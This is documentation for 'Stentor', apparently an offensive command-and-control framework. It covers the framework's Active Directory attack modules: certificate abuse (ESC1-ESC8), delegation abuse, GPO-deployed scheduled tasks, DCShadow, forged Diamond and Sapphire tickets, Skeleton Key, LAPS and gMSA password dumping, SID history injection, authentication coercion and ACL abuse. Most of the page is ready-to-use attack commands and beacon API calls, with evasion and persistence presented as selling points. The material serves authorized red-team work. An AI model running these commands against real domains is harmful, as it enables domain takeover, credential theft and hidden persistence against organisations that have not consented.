Active Directory Attacks¶

Stentor provides a comprehensive suite of Active Directory attack techniques covering certificate services abuse (ADCS ESC1-ESC8), delegation exploitation, Group Policy manipulation, directory replication, advanced Kerberos ticket forging, credential extraction from AD objects, trust abuse, authentication coercion, and ACL-based privilege escalation. Every technique runs in-process via the beacon -- no child processes spawned, no external tools dropped to disk.

Overview¶

Active Directory is the backbone of enterprise identity and access management, and its attack surface is correspondingly vast. Stentor organizes AD attacks into nine categories that map to the typical progression of a domain compromise engagement:

graph TD
    A[Initial Foothold<br/>Domain User] --> B{Reconnaissance}
    B --> C[ACL Abuse<br/>Permission-based escalation]
    B --> D[ADCS Exploitation<br/>Certificate abuse ESC1-ESC8]
    B --> E[Coercion<br/>Forced authentication]
    B --> F[GPO Abuse<br/>Group Policy manipulation]
    C --> G[Credential Extraction<br/>LAPS, gMSA]
    D --> H[Kerberos Tickets<br/>Diamond, Sapphire]
    E --> D
    F --> I[Code Execution<br/>via GPO deployment]
    G --> J[Lateral Movement]
    H --> J
    I --> J
    J --> K[Delegation Abuse<br/>RBCD, S4U]
    K --> L[Domain Admin]
    L --> M[Trust Abuse<br/>Cross-forest]
    L --> N[DCShadow<br/>Rogue DC]
    L --> O[Persistence<br/>SID History, Skeleton Key]

    style A fill:#6a1b9a,color:#fff
    style L fill:#b71c1c,color:#fff
    style M fill:#1a237e,color:#fff
    style N fill:#1a237e,color:#fff
    style O fill:#1a237e,color:#fff

AD Attack Categories¶

ADCS Attacks (ESC1-ESC8)¶

Active Directory Certificate Services (AD CS) is one of the most impactful attack surfaces in modern AD environments. The ESC naming convention follows the SpecterOps "Certified Pre-Owned" research paper, which identified eight primary misconfiguration classes (ESC1 through ESC8) that enable privilege escalation through certificate abuse.

Every ADCS exploitation technique in Stentor auto-chains to PKINIT authentication and UnPAC-the-Hash for NTLM extraction, providing a complete certificate-to-credential pipeline.

ESC1: Enrollee Supplies Subject¶

ESC1 exploits certificate templates where CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT is set and Client Authentication EKU is present, allowing the requester to specify an arbitrary Subject Alternative Name (SAN) to impersonate any domain user.

Attack chain: Request cert with arbitrary SAN -> PKINIT with cert -> TGT as target user -> UnPAC-the-Hash for NTLM

esc1 [email protected] DC01\CorpCA VulnTemplate CORP.LOCAL 10.10.10.1

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "esc1 [email protected] DC01\\CorpCA VulnTemplate CORP.LOCAL 10.10.10.1"
  }'

ESC2: Any Purpose EKU¶

ESC2 exploits templates with "Any Purpose" EKU (OID 2.5.29.37.0) or no EKU constraints. The issued certificate can be used for Client Authentication despite not explicitly having that EKU, enabling PKINIT authentication as the current user.

esc2 DC01\CorpCA AnyPurposeTemplate CORP.LOCAL 10.10.10.1

Usage: esc2 [ca] [template] [domain] [dc]

ESC3: Enrollment Agent¶

ESC3 is a two-step enrollment agent attack. First, request a Certificate Request Agent certificate, then use it to request a certificate on behalf of a target user from a different template.

esc3 [email protected] DC01\CorpCA AgentTemplate UserTemplate CORP.LOCAL 10.10.10.1

Usage: esc3 <target_user> [ca] [agent_template] [target_template] [domain] [dc]

Attack chain: Agent cert -> On-behalf-of cert -> PKINIT TGT -> NTLM hash

ESC4: Vulnerable Template ACL¶

ESC4 targets certificate templates where the current user has write access (GenericWrite, GenericAll, WriteOwner, WriteDACL). The attack modifies the template via LDAP to enable ENROLLEE_SUPPLIES_SUBJECT, then chains to the ESC1 flow.

esc4 [email protected] WritableTemplate DC01\CorpCA CORP.LOCAL 10.10.10.1
esc4 [email protected] WritableTemplate DC01\CorpCA CORP.LOCAL 10.10.10.1 --no-restore

Usage: esc4 <target_user> <template> [ca] [domain] [dc] [--no-restore]

Attack chain: Template modification -> ESC1 (arbitrary SAN) -> PKINIT TGT -> NTLM hash -> Template restoration

ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2¶

When the CA has EDITF_ATTRIBUTESUBJECTALTNAME2 enabled, ANY certificate request can include an arbitrary SAN in the request attributes string, regardless of template settings. This effectively makes every template on that CA vulnerable.

esc6 [email protected] DC01\CorpCA User CORP.LOCAL 10.10.10.1

Usage: esc6 <target_user> [ca] [template] [domain] [dc]

ESC7: ManageCA / ManageCertificates¶

ESC7 exploits CA-level permissions. Two scenarios are supported:

esc7 [email protected] DC01\CorpCA User CORP.LOCAL 10.10.10.1 a

esc7 [email protected] DC01\CorpCA ApprovalTemplate CORP.LOCAL 10.10.10.1 b

Usage: esc7 <target_user> [ca] [template] [domain] [dc] [scenario:a|b]

ESC8: NTLM Relay to HTTP Enrollment¶

ESC8 is the most impactful ADCS attack -- it requires no special template misconfiguration, only that the CA has HTTP enrollment enabled (common in enterprise environments). Combined with NTLM coercion (PetitPotam/PrinterBug), it enables domain escalation by relaying authentication to the CA's HTTP enrollment endpoint.

esc8 ca01.corp.local CorpCA Machine DC01$ CORP.LOCAL 10.10.10.1 --user CORP\admin --pass Password123

esc8 ca01.corp.local CorpCA Machine DC01$ CORP.LOCAL 10.10.10.1 --relay --listen-port 8080

Usage: esc8 <ca_host> <ca_name> [template] [target] [domain] [dc] [--relay] [--listen-port 8080] [--user user] [--pass password]

Supporting ADCS Commands¶

cert_request¶

Generic certificate request -- the base command for all ADCS operations.

cert_request DC01\CorpCA UserTemplate

shadow_creds¶

Add a Key Credential to a target's msDS-KeyCredentialLink attribute, enabling PKINIT authentication without knowing the password. Also supports listing and removing Key Credentials.

shadow_creds svc_sql CORP.LOCAL 10.10.10.1
shadow_creds list svc_sql CORP.LOCAL 10.10.10.1
shadow_creds remove svc_sql <device_id> CORP.LOCAL 10.10.10.1

pkinit¶

Authenticate using a certificate (PFX/PKCS12) to obtain a TGT via RFC 4556 PKINIT.

pkinit C:\certs\admin.pfx CORP.LOCAL 10.10.10.1

unpac_the_hash¶

Extract NTLM hash from a PKINIT-authenticated Kerberos session by decrypting PAC_CREDENTIAL_INFO.

unpac_the_hash C:\certs\admin.pfx CORP.LOCAL 10.10.10.1

ADCS OPSEC Comparison¶

Resource-Based Constrained Delegation (RBCD)¶

RBCD is a three-step attack that exploits the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on computer accounts. Unlike classic constrained delegation (which requires domain admin to configure), RBCD delegation can be configured by any principal with write access to the target computer's AD object.

sequenceDiagram
    participant Op as Operator
    participant B as Beacon
    participant AD as Active Directory
    participant KDC as KDC

    Note over Op,KDC: Step 1: Add Computer Account
    Op->>B: rbcd_addcomputer EVILPC Password123
    B->>AD: LDAP Add (objectClass=computer, sAMAccountName=EVILPC$)
    AD-->>B: Success (MachineAccountQuota)

    Note over Op,KDC: Step 2: Write Delegation
    Op->>B: rbcd_write TARGET$ EVILPC$
    B->>AD: LDAP Modify (msDS-AllowedToActOnBehalfOfOtherIdentity += EVILPC$ SID)
    AD-->>B: Success

    Note over Op,KDC: Step 3: S4U Attack
    Op->>B: rbcd_attack TARGET$
    B->>KDC: S4U2Self (as EVILPC$, impersonate Administrator)
    KDC-->>B: Service Ticket (forwardable)
    B->>KDC: S4U2Proxy (forward ticket to TARGET$ SPN)
    KDC-->>B: Service Ticket for TARGET$
    B-->>Op: Admin access to TARGET$

Step 1: rbcd_addcomputer¶

Create a new computer account using ms-DS-MachineAccountQuota (default: 10 per domain user).

rbcd_addcomputer EVILPC Password123 CORP.LOCAL 10.10.10.1

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "rbcd_addcomputer EVILPC Password123 CORP.LOCAL 10.10.10.1"
  }'

Step 2: rbcd_write¶

Write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the target computer to allow delegation from the attacker-controlled computer account.

rbcd_write TARGET$ EVILPC$ CORP.LOCAL 10.10.10.1
rbcd_write TARGET$ EVILPC$ CORP.LOCAL 10.10.10.1 --remove

Usage: rbcd_write <target> <delegate_from> [domain] [dc] [--remove]

Step 3: rbcd_attack¶

Execute the full RBCD attack chain: S4U2Self + S4U2Proxy to obtain a service ticket as the impersonated user.

rbcd_attack TARGET$ administrator CORP.LOCAL 10.10.10.1
rbcd_attack TARGET$ administrator CORP.LOCAL 10.10.10.1 --cleanup

Usage: rbcd_attack <target> [impersonate_user] [domain] [dc] [--cleanup] [--skip-add] [--skip-write] [--computer <name>] [--password <pass>] [--impersonate <user>] [--spn <spn>]

s4u¶

Standalone S4U2Self + S4U2Proxy command for constrained delegation exploitation (not limited to RBCD).

s4u administrator cifs/TARGET$ svc_sql Password123 CORP.LOCAL 10.10.10.1

Usage: s4u <impersonate_user> <target_spn> <svc_user> <svc_password> <domain> [dc]

Full Attack Chain Walkthrough¶

1. Enumerate writable computer objects: Look for GenericAll, GenericWrite, or WriteDACL on target computer accounts
2. Add computer: rbcd_addcomputer EVILPC P@ssw0rd CORP.LOCAL 10.10.10.1
3. Write delegation: rbcd_write DC01$ EVILPC$ CORP.LOCAL 10.10.10.1
4. Request ticket: rbcd_attack DC01$ administrator CORP.LOCAL 10.10.10.1
5. Use ticket: kerberos_ticket_use <kirbi_base64> to inject the service ticket
6. Cleanup: rbcd_write DC01$ EVILPC$ CORP.LOCAL 10.10.10.1 --remove

GPO Abuse¶

Group Policy Objects (GPOs) define security settings, software deployment, and scripts that apply to computers and users within linked OUs. If an attacker has write access to a GPO, they can modify it to deploy malicious scheduled tasks, scripts, or user rights assignments.

gpo_enum¶

Enumerate all GPOs in the domain, their linked OUs, and write permissions on each GPO. Highlights writable GPOs for operator attention.

gpo_enum
gpo_enum DefaultDomain CORP.LOCAL 10.10.10.1

Usage: gpo_enum [filter] [domain] [dc]

gpo_modify¶

Modify a writable GPO to deploy an Immediate Scheduled Task. The modification updates both the GPC (Group Policy Container) in LDAP and the GPT (Group Policy Template) ScheduledTasks.xml on SYSVOL.

gpo_modify "Default Domain Policy" "powershell -enc AAAA..." --task-name UpdateCheck --user SYSTEM
gpo_modify "IT Workstations" "net localgroup administrators evil$ /add" --force

Usage: gpo_modify <gpo_name> <command> [arguments] [--task-name <name>] [--user <context>] [--force] [--domain <domain>] [--dc <dc>]

gpo_cleanup¶

Restore a GPO to its original state after exploitation. Removes the ScheduledTasks.xml from SYSVOL and reverts GPC version numbers.

gpo_cleanup "Default Domain Policy" CORP.LOCAL 10.10.10.1

Usage: gpo_cleanup <gpo_name> [domain] [dc]

GPO Attack Chain¶

1. Enumerate: gpo_enum -- identify writable GPOs
2. Identify targets: Note which OUs the writable GPO is linked to
3. Modify: gpo_modify "WritableGPO" "net localgroup administrators evil$ /add"
4. Wait: Group Policy refresh (90-120 minutes) or force: gpupdate /force on target
5. Cleanup: gpo_cleanup "WritableGPO"

DCShadow¶

DCShadow (T1207) allows an attacker to temporarily register a rogue Domain Controller and push AD modifications that appear as legitimate replication traffic. Changes made via DCShadow are attributed to the rogue DC's invocation ID in the replication metadata, making forensic analysis more difficult.

dcshadow_register¶

Register the current machine as a rogue Domain Controller by creating nTDSDSA and server objects in the Configuration partition and adding DC-specific SPNs to the computer account.

dcshadow_register WORKSTATION1 CORP.LOCAL 10.10.10.1

Usage: dcshadow_register [computer_name] [domain] [dc]

dcshadow_push¶

Push an AD attribute modification while registered as a rogue DC. The modification is attributed to the rogue DC's invocation ID in replication metadata.

dcshadow_push "CN=target,CN=Users,DC=corp,DC=local" description "Modified via DCShadow"
dcshadow_push "CN=target,CN=Users,DC=corp,DC=local" sIDHistory S-1-5-21-xxx-519 --type binary_hex

Usage: dcshadow_push <target_dn> <attribute> <value> [--type <string|binary_hex|int>] [--op <replace|add|delete>]

dcshadow_cleanup¶

Remove all rogue DC traces: delete nTDSDSA and server objects from the Configuration partition and remove DC SPNs from the computer account.

dcshadow_cleanup WORKSTATION1 CORP.LOCAL 10.10.10.1

Usage: dcshadow_cleanup [computer_name] [domain] [dc]

dcshadow (All-in-One)¶

Execute the full DCShadow lifecycle in a single command: register -> push modification -> cleanup.

dcshadow "CN=target,CN=Users,DC=corp,DC=local" description "Modified" --computer WORKSTATION1
dcshadow "CN=target,CN=Users,DC=corp,DC=local" sIDHistory S-1-5-21-xxx-519 --type binary_hex --skip-cleanup

Usage: dcshadow <target_dn> <attribute> <value> [--computer <name>] [--skip-cleanup] [--type <string|binary_hex|int>] [--op <replace|add|delete>]

DCShadow Attack Chain¶

1. Register rogue DC: dcshadow_register (from SYSTEM beacon)
2. Push modification: dcshadow_push (from DA beacon) -- e.g., modify sIDHistory, description, or any other attribute
3. Cleanup: dcshadow_cleanup (from SYSTEM beacon) -- remove all rogue DC traces
4. Verify: Changes appear in replication metadata attributed to the rogue DC's invocation ID

Advanced Kerberos Tickets¶

Beyond Golden and Silver tickets (covered in the Credentials page), Stentor implements Diamond and Sapphire tickets for more detection-resistant Kerberos ticket forging, plus Skeleton Key for persistent authentication backdoors.

diamond_ticket¶

Diamond Tickets request a legitimate TGT via AS-REQ, then decrypt and modify the PAC to include admin group memberships. Unlike Golden Tickets (fully forged), Diamond Tickets start from a real KDC interaction, making them harder to detect because the ticket has a legitimate KDC signature and creates a real Event 4768 in KDC logs.

diamond_ticket CORP.LOCAL S-1-5-21-1234567890-1234567890-1234567890 10.10.10.1 aes256_hex_key
diamond_ticket CORP.LOCAL S-1-5-21-xxx 10.10.10.1 aes256key --user jsmith --user-password P@ss --impersonate Administrator --rid 500

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "diamond_ticket CORP.LOCAL S-1-5-21-xxx 10.10.10.1 aes256key --impersonate Administrator"
  }'

Diamond Ticket flow:

1. Request legitimate TGT via AS-REQ (creates real Event 4768)
2. Decrypt TGT's EncTicketPart using the krbtgt AES256 key
3. Replace PAC with forged PAC containing admin group memberships
4. Re-encrypt modified EncTicketPart with krbtgt key
5. Export to ccache or kirbi format

sapphire_ticket¶

Sapphire Tickets are the most detection-resistant ticket forging technique. They obtain a legitimate PAC from the KDC via S4U2Self rather than forging one manually, making the PAC contents indistinguishable from a real ticket.

sapphire_ticket CORP.LOCAL 10.10.10.1 aes256_hex_key administrator
sapphire_ticket CORP.LOCAL 10.10.10.1 aes256key administrator --output C:\ticket.kirbi --format kirbi

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "sapphire_ticket CORP.LOCAL 10.10.10.1 aes256key administrator"
  }'

Sapphire Ticket flow:

1. Obtain a TGT as krbtgt using the krbtgt AES256 key
2. Perform S4U2Self as krbtgt to impersonate target user -- KDC generates a real PAC
3. Decrypt S4U2Self ticket and extract the legitimate PAC
4. Build a new TGT with the legitimate PAC embedded
5. Export to ccache or kirbi format

skeleton_key¶

Inject a master password into domain controller LSASS that works alongside normal passwords. After injection, any domain user can authenticate with both their real password AND the skeleton password.

skeleton_key
skeleton_key --password CustomSkel3ton!

Usage: skeleton_key [--password <custom_password>]

Default skeleton password: mimikatz

AD Credential Extraction¶

laps_dump¶

Read LAPS (Local Administrator Password Solution) passwords from Active Directory. Supports both LAPSv1 (ms-Mcs-AdmPwd, plaintext) and LAPSv2 (msLAPS-Password JSON, msLAPS-EncryptedPassword DPAPI-NG encrypted).

laps_dump WS01
laps_dump * --domain CORP.LOCAL --dc 10.10.10.1
laps_dump DC01 --domain CORP.LOCAL --dc 10.10.10.1 --user admin --password P@ss

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "laps_dump WS01 --domain CORP.LOCAL --dc 10.10.10.1"
  }'

gmsa_dump¶

Read Group Managed Service Account (gMSA) passwords from the msDS-ManagedPassword binary blob. Parses the MSDS-MANAGEDPASSWORD_BLOB structure to extract current and previous passwords, then computes NTLM hashes (MD4 of raw UTF-16LE password bytes).

gmsa_dump svc_sql$
gmsa_dump * --domain CORP.LOCAL --dc 10.10.10.1

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "gmsa_dump svc_sql$ --domain CORP.LOCAL --dc 10.10.10.1"
  }'

Cross-Forest and Trust Abuse¶

trust_enum¶

Enumerate all domain and forest trust relationships. Lists trust type (parent-child, forest, external), direction (inbound, outbound, bidirectional), and SID filtering status -- critical for determining whether SID History injection will succeed across the trust.

trust_enum
trust_enum --domain CORP.LOCAL --dc 10.10.10.1

curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_id": "BEACON_UUID",
    "command": "trust_enum --domain CORP.LOCAL --dc 10.10.10.1"
  }'

Output includes:

• Trust partner domain name and NetBIOS (flat) name
• Trust direction: Inbound, Outbound, or Bidirectional
• Trust type: Parent-Child, Forest, External, MIT (Kerberos realm)
• Trust attributes: Forest Transitive, SID Filtering, Quarantined
• Trust SID and SID filtering status

sid_history¶

Inject SIDs into a user's sIDHistory attribute for cross-domain or cross-forest privilege escalation. Two operational modes are available: direct LDAP modification and DCShadow-based modification.

sid_history jsmith S-1-5-21-xxx-519 --domain CORP.LOCAL --dc 10.10.10.1
sid_history jsmith S-1-5-21-xxx-519 S-1-5-21-xxx-512 --mode dcshadow
sid_history jsmith S-1-5-21-xxx-519 --remove

Usage: sid_history <target> <sid1> [sid2...] [--mode <ldap|dcshadow>] [--remove] [--domain <domain>] [--dc <dc>] [--user <username>] [--password <password>]

Authentication Coercion¶

Authentication coercion techniques force a target machine to authenticate to an attacker-controlled listener using NTLM. The captured authentication can be relayed to other services (LDAP, ADCS HTTP enrollment, SMB) for privilege escalation. All five techniques use Windows RPC interfaces to trigger the callback.

printerbug 10.10.10.1 10.10.10.50
printerbug DC01.corp.local 10.10.10.50 CORP\user P@ssword

petitpotam 10.10.10.1 10.10.10.50
petitpotam DC01.corp.local 10.10.10.50 CORP\user P@ssword

dfscoerce 10.10.10.1 10.10.10.50

shadowcoerce 10.10.10.1 10.10.10.50

cheeseoinking 10.10.10.1 10.10.10.50

Coercion Techniques Comparison¶

Common Coercion Workflow¶

Coercion is rarely used alone -- it is the trigger for an NTLM relay chain:

1. Set up relay target: Start ESC8 relay listener (esc8 ... --relay), or configure LDAP relay (e.g., for RBCD write)
2. Trigger coercion: petitpotam <dc> <relay_listener> -- DC authenticates to relay
3. Relay captures: Authentication relayed to target service (ADCS HTTP, LDAP)
4. Exploit completes: Certificate issued (ESC8) or delegation written (RBCD)

ACL Abuse¶

Active Directory access control lists (ACLs) define permissions on AD objects. When attackers discover they have specific write permissions on user, group, or organizational unit objects, they can leverage these for privilege escalation without exploiting any software vulnerability.

acl_pwreset¶

Force a password reset via GenericAll or User-Force-Change-Password ACL on a user. Sets the unicodePwd attribute via LDAP without knowing the current password.

acl_pwreset targetuser NewP@ssw0rd! CORP.LOCAL 10.10.10.1

Usage: acl_pwreset <target_user> <new_password> [domain] [dc] [user] [pass]

acl_setspn¶

Set or modify a Service Principal Name (SPN) on a user account for targeted Kerberoasting. Once an SPN is set, the user's service ticket can be requested by any domain user and cracked offline.

acl_setspn targetuser MSSQLSvc/fake.corp.local:1433 CORP.LOCAL 10.10.10.1
acl_setspn targetuser MSSQLSvc/fake.corp.local:1433 CORP.LOCAL 10.10.10.1 --remove

Usage: acl_setspn <target_user> [spn] [domain] [dc] [--remove]

acl_addmember¶

Add or remove a user from a group via GenericAll, GenericWrite, or Self/WriteMember ACL on the group object.

acl_addmember "Domain Admins" eviluser CORP.LOCAL 10.10.10.1
acl_addmember "Domain Admins" eviluser CORP.LOCAL 10.10.10.1 --remove

Usage: acl_addmember <group> <member> [domain] [dc] [--remove]

acl_dcsync¶

Grant DCSync rights (DS-Replication-Get-Changes and DS-Replication-Get-Changes-All) to a user on the domain object, enabling them to perform DCSync to extract all password hashes.

acl_dcsync eviluser CORP.LOCAL 10.10.10.1
acl_dcsync eviluser CORP.LOCAL 10.10.10.1 --remove

Usage: acl_dcsync <trustee> [domain] [dc] [user] [pass] [--remove]

acl_owner¶

Take ownership of an AD object via WriteOwner or WriteDACL permission. Once ownership is taken, the new owner can modify the object's DACL to grant themselves any permission.

acl_owner CN=target,CN=Users,DC=corp,DC=local eviluser CORP.LOCAL 10.10.10.1

Usage: acl_owner <target> [new_owner] [domain] [dc]

acl_sdhold¶

Abuse SDPropagator via AdminSDHolder to make ACL changes persistent. AdminSDHolder's security descriptor is automatically applied to all protected groups (Domain Admins, Enterprise Admins, etc.) every 60 minutes by the SDProp process.

acl_sdhold eviluser full CORP.LOCAL 10.10.10.1
acl_sdhold eviluser dcsync CORP.LOCAL 10.10.10.1
acl_sdhold eviluser CORP.LOCAL 10.10.10.1 --remove

Usage: acl_sdhold <trustee> [right:full|write|dcsync] [domain] [dc] [--remove]

ACL Abuse Comparison¶